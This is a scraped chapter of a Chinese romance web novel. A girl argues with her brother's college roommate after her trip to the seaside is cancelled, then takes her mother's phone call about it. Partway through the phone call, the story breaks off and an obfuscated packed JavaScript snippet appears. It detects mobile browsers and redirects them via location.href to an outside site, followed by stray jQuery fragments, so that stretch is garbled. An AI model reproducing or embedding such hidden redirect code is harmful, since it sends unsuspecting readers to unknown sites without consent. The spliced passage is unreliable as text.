默认冷灰
24号文字
方正启体

2. chapter2

作者:余已本书字数:K更新时间:
    第二章


    找新哥这句话纯粹是她为了气温宿而说出来的。


    连人家名字都不知道叫什么,找个毛线。


    他们住的这个四合院位于昌南市的城区边缘,离繁华的市中心有点距离,但胜在环境安静。每户都是独立的院子,私密性比较好。


    原本院子一角是标配的小鱼池,里面养着几尾锦鲤,后来因为向森同志迷上了种菜,硬是把鱼池给填了,改造成了非常健康、但也非常考验技术的小菜园。


    从客厅出来,温淼一眼就看见那个穿着灰色卫衣的男人,指间夹着一支燃了一半的烟,正站在正屋延伸出来的屋檐下。


    屋檐对面,就是她老爸向森的宝贝菜园,以及仅存的几颗小白菜。


    大概是为了避开那几垄脆弱的菜苗,也或许是出于礼貌,他站得很靠边,几乎是贴着廊柱,让烟雾飘向空旷处,半截胳膊被雨打湿。


    还怪可怜的。


    温淼脚步顿了一下,没往他那边靠,选了屋檐的另一头站着,没主动讲话,只是不自觉地清了清嗓子,发出一点细微的声响。


    院子里很安静,只有不知雨水顺着屋檐落在台阶上偶尔发出一两声短促的鸣叫。


    谢京韫抬手,将指间剩下的半截烟在廊柱边一个废弃的小花盆沿上轻轻摁熄,随手丢进旁边的垃圾桶里。


    做完这些,他才朝她这边走了两步,拉开一点距离,但又能让彼此听清说话。


    他脸上没什么特别的表情,只是唇角很自然地向上弯了一下:“和你哥和好了?”


    鼻子上有一颗痣。


    温淼移开视线:“他已经不是我哥了。说让我来找你,你是我新哥。”


    她还记着刚刚在餐桌上男人见死不救的举动:“只能你负责了。”


    “我负责?”


    “谁叫你刚刚就那样走了。”温淼吸着鼻子:“正常人一般不都得劝两句。孩子还小,要不算了。哎,没必要,又不是什么大事。”


    小姑娘眼角还残留着刚才哭过的淡红,皮肤本来就白,此刻在廊灯的光线下,更显得有种脆弱的、娇娇嫩嫩的感觉,像院子里被雨打湿、花瓣边缘有些发蔫的花朵。


    谢京韫沉默了一下,他这是被一个小孩责怪了吗。


    “温宿打你了?”


    “他还不如打我呢。”


    这是真不高兴了。


    谢京韫语气诚恳:“对不起,我没经验。”


    “你那是幸灾乐祸。”温淼纠正他。


    “那我要怎么补救?当你哥也没什么问题,就我是不是得改姓温了?”


    温淼一愣,没转过来,抬起头看他:“为什么你改?”


    “因为我是跟着我妈姓的。”谢京韫思考:“如果来你家当哥哥,按道理,应该是跟着你家改名吧?”


    这是什么道理?


    “是嘛,其实我们家也是,我跟我哥也都跟我妈姓温。”她顿了一下,这才想起正事,眨了眨眼,“哥哥,你叫什么名字?”


    “你哥没和你说吗?我是他大学室友,叫谢京韫。”


    “谢、京、韫……”温淼小声重复了一遍,在心里默默拼写这个“韫”字是哪个。


    温京韫听上去没有谢京韫好听。


    “你来找他玩吗?”她又问。


    温宿朋友很多,小学初中高中各个阶段的都有,她记不住名字,也懒得记。


    之前她上初中的时候,他偶尔还会带一两个关系特别铁的朋友回家住。不过自从有一次她半夜口渴下楼喝水,迷迷糊糊看见一个不穿上衣的陌生男人在冰箱那里鬼鬼祟祟翻东西,吓得她魂飞魄散,差点从楼梯上滚下来后。那温宿就再也没带人回来住过,这次倒是破例。


    “怎么说,我应该是给你哥来打工的。”


    “哦。那你肯定要被他压榨了。”温淼应了一声,没继续追问。察言观色的本能她还是有的。她总觉得这个说法,带着点含糊其辞、不想让对方继续深究的意思。


    她垮下小脸:“我帮不了你了,我自己都自身难保。”


    还挺讲义气的。


    谢京韫被逗笑了:“你原本计划是去哪玩的?”


    “江都。”温淼老实回答,提起这个,心里那点遗憾又冒了出来。


    谢京韫:“去看海?那里这个时候的海边确实很漂亮。沙子细软,海水也蓝,运气好的话,傍晚还能看到很美的火烧云,退潮后沙滩上会有很多漂亮的贝壳可以捡。”


    温淼:“你去过吗?”


    这次决定去江都,是她们几个女生里主意最多的那个女孩拍板的,因为前段时间有个很热门的青春偶像剧在那里取过景,女主角在沙滩上奔跑的镜头被剪成了预告,风靡一时。


    “嗯,我是江都人。”


    谢京韫:“江都确实气候宜人,生活节奏也慢,天气好的时候,天空和海都是一种很干净的蓝。以后有机会,还是可以再去的。”


    他顿了顿,像是随口一提,依旧是漫不经心的样子:“不过,你这个时候去看的风景,感受到的东西,应该会和以后再去时很不一样。”


    —


    回到自己那间朝南的小卧室,温淼稍微收拾了一下那些课本,然后又在自己房间的浴室里洗了个澡。


    她的头发厚,每次洗完都要吹很久,一般得折腾将近一个小时才能彻底干透。


    拔掉正在充电的手机,屏幕亮起,显示有几个未读消息,都是群里朋友们发来的旅行照片和叽叽喳喳的讨论。温淼一边单手笨拙地拢着头发对着吹,一边划拉着屏幕看。


    吹到一半,手臂就有些发酸,热风也吹得她脸颊发烫。她索性关了吹风机,把半干的头发随意拨到脑后,顶着一头毛茸茸的乱发坐到床沿。


    高考结束,身边的朋友基本都出去旅游了。离正常高中放暑假的时间还有段距离,她现在也没有作业,整个人处于一种紧绷后的骤然松弛状态,有点无所适从。


    墙上的挂钟时针指向八点半,手机忽然震动起来,备注是妈妈。


    温淼心里咯噔一下。


    “里里,睡了吗?”


    里里是她小名。据温宿称,她学会说话那会,因为想找大人陪着玩,但是又说不全话,每次说理理我只能蹦出第一个音。于是里里就成了她的小名。


    正常来说,一般她犯错,妈妈是会连名带姓含她的,现在她在电话声音听起来一如既往,让她有点拿不准到底是生气了还是没生气。


    “刚洗完澡,还没睡。”


    温淼握着手机,指尖无意识地抠着睡衣的扣子,还是做好了迎接一场思想教育的准备。


    “今天的事,我听你哥说了。你怎么想的?怎么能不打招呼就拿身份证跑那么远呢?你哥说,你是因为他之前毕业去了江都旅游,才想着去的,是吗?”


    温淼坐在床沿,没想到温宿会把这个由头揽过去,听起来……像是替她找了个不那么叛逆的动机。


    “嗯……”她含糊地应了一声。


    “下次不能这样了,知道吗?想去哪里,提前和爸爸妈妈或者哥哥商量,我们又不是不通情达理。这样突然跑掉,多让人担心。等我们工作回来,再带你和哥哥一起去旅游。”


    “知道了,妈妈。”温淼低下头,看着自己光洁的脚趾在地板上无意识地划拉着,乖乖认错。


    “知道了就好。”温岚莉的语气缓和下来,“记得把头发吹干再睡,小心感冒。还有,琵琶也要记着练,不能因为高考完了就彻底放松。上课时间老师和你确认了吧?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091446|195436||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “说了,下周开始恢复上课。”


    “那就行。对了,这段时间家里会住一个你哥的大学同学,姓谢,你见过了吗?”


    “见过了。”温淼忍不住问,“妈妈,他是要住多久?”


    “听你哥说大概住到九月份。人家家里有点事,不方便住宿舍,借住一阵子。你记得要有礼貌,但也不要太打扰人家。”


    “好,我知道了。妈妈晚安。”


    “晚安,里里。”


    挂断电话,温淼握着手机,还有点没回过神。


    这样……就好了?


    她没想到这件事会这么简单地就掀了过去。没有预想中的长篇大论和深刻检讨,甚至连责备都显得轻描淡写。这一切多亏了温宿,那个吃饭时还不忘算账的哥哥,居然在妈妈面前帮她说了话,把她一时兴起的冒险,归结于他无意中提到的一句话。


    心里那点堵了一整天的委屈和不服气,像被戳破的气球,“嗤”地一下漏了个干净,只剩下一点点酸酸软软的感觉,说不清是什么。


    她躺进柔软的被子里,翻了个身,侧躺着重新拿起手机。


    空间里的朋友几乎都在晒自己的假期生活,群里朋友们还在兴奋地分享着今天的见闻和照片,蔚蓝的海,金色的沙滩,造型奇特的礁石,还有她们挤在一起做的鬼脸。她默默地把几张拍得特别好看的海景图保存了下来。


    她原本对于这次旅行的目的地,其实并没有太具体的憧憬和执念。


    从小到大,她几乎没有什么特别强烈的欲望,也没有什么非得到不可的东西。


    父母是高级知识分子,还有个比她大四岁的哥哥,温淼的生活,可以说是没有什么需要她操心的地方。


    她觉得自己算不上特别优秀,特别突出的那种小孩。顶多只能算还不错。


    小时候学琵琶,原因也很简单,温岚莉觉得女孩子学点乐器能陶冶情操,家里刚好有亲戚认识这方面的老师,就找了人牵头。


    于是,从小学三年级开始,温淼每周会背着一个对她来说有些过大的琴盒,穿过半个城区,去老师家练琴。


    后来是准备艺考。为了冲击更好的院校,她跟着老师跨省去参加专业考试,同时兼顾文化课程,就这样直到这次高考结束。同学都在兴奋地讨论着旅行、打工、学车,规划着人生中第一个完全由自己掌控的漫长假期。


    温淼突然觉得有些无措。她能做什么呢?


    其实因为平常集训的缘故,她和朋友们没有那么熟悉,可当她们提议一起去江都看海的时候,她几乎是毫不犹豫地点头了。与其说是向往那片海,不如说是向往一种突破。突破那种……连她自己都说不清道不明的生活状态。


    她偶尔也想做出一些出格的选择,掌控自己的方向。


    只是这叛逆期来的太晚,还没来得及真正展开,就被温宿毫不留情地掐灭了。


    这就叫先帝创业未半而中道崩殂吧,


    不过,看着照片里那片在阳光下闪闪发光的蓝色,温淼忽然想到了傍晚在院子里,谢京韫用那种平静温和的语调描述江都的样子。


    沙子细软,海水也蓝、傍晚能看到很美的火烧云。


    那些画面,透过他的语言和此刻眼前的照片,忽然变得生动而具体起来。


    很漂亮。她想。


    指尖在手机屏幕上悬停了一会儿,她退出聊天软件,点开了浏览器。在搜索框里,她慢慢地、一个一个地敲下两个字:


    江都。


    按下搜索键的瞬间,无数关于这城市的图片、游记、攻略、新闻……涌现在屏幕上。


    离昌南不算近也不算远,坐火车大概8个小时。


    看着那些色彩鲜艳的图片,温淼眼神有些放空。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)